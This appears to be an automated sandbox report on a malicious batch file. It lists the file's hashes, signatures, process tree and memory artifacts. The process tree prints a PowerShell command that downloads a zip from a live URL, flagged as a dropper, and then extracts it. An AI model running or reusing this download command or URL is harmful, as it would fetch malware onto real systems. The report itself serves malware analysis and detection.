Analysis

  • max time kernel
    1554s
  • max time network
    1560s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-10-2023 01:31

General

  • Target

    tesy - Copy (3).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2604

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    5202fea8d39bf7cf46a4aeec34e7531f

    SHA1

    fc74968e738d3293873734baa516bf5cdce44f3e

    SHA256

    263c76a082bdfb8fcb96320c6386107fbfbe1667f3f6de4e0e89e017561f6916

    SHA512

    14a6854c5d71e1cd253287acdb805f96cac0935e4c40c7cca6dbbfbb517bf87a5d428afe321543c1f37783a4a3631110a6773f30dc98f5970be82fc690f89079

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FJGS9RKHO44WOJHNFTEU.temp

    Filesize

    7KB

    MD5

    5202fea8d39bf7cf46a4aeec34e7531f

    SHA1

    fc74968e738d3293873734baa516bf5cdce44f3e

    SHA256

    263c76a082bdfb8fcb96320c6386107fbfbe1667f3f6de4e0e89e017561f6916

    SHA512

    14a6854c5d71e1cd253287acdb805f96cac0935e4c40c7cca6dbbfbb517bf87a5d428afe321543c1f37783a4a3631110a6773f30dc98f5970be82fc690f89079

  • memory/2572-13-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2572-9-0x00000000026E0000-0x0000000002760000-memory.dmp

    Filesize

    512KB

  • memory/2572-8-0x00000000026E0000-0x0000000002760000-memory.dmp

    Filesize

    512KB

  • memory/2572-7-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2572-10-0x00000000026E0000-0x0000000002760000-memory.dmp

    Filesize

    512KB

  • memory/2572-11-0x00000000026E0000-0x0000000002760000-memory.dmp

    Filesize

    512KB

  • memory/2572-4-0x000000001B340000-0x000000001B622000-memory.dmp

    Filesize

    2.9MB

  • memory/2572-6-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

    Filesize

    9.6MB

  • memory/2572-5-0x0000000002220000-0x0000000002228000-memory.dmp

    Filesize

    32KB

  • memory/2604-20-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2604-21-0x0000000002390000-0x0000000002398000-memory.dmp

    Filesize

    32KB

  • memory/2604-19-0x000000001B340000-0x000000001B622000-memory.dmp

    Filesize

    2.9MB

  • memory/2604-22-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

    Filesize

    9.6MB

  • memory/2604-23-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2604-24-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2604-25-0x0000000002550000-0x00000000025D0000-memory.dmp

    Filesize

    512KB

  • memory/2604-26-0x000007FEF4B10000-0x000007FEF54AD000-memory.dmp

    Filesize

    9.6MB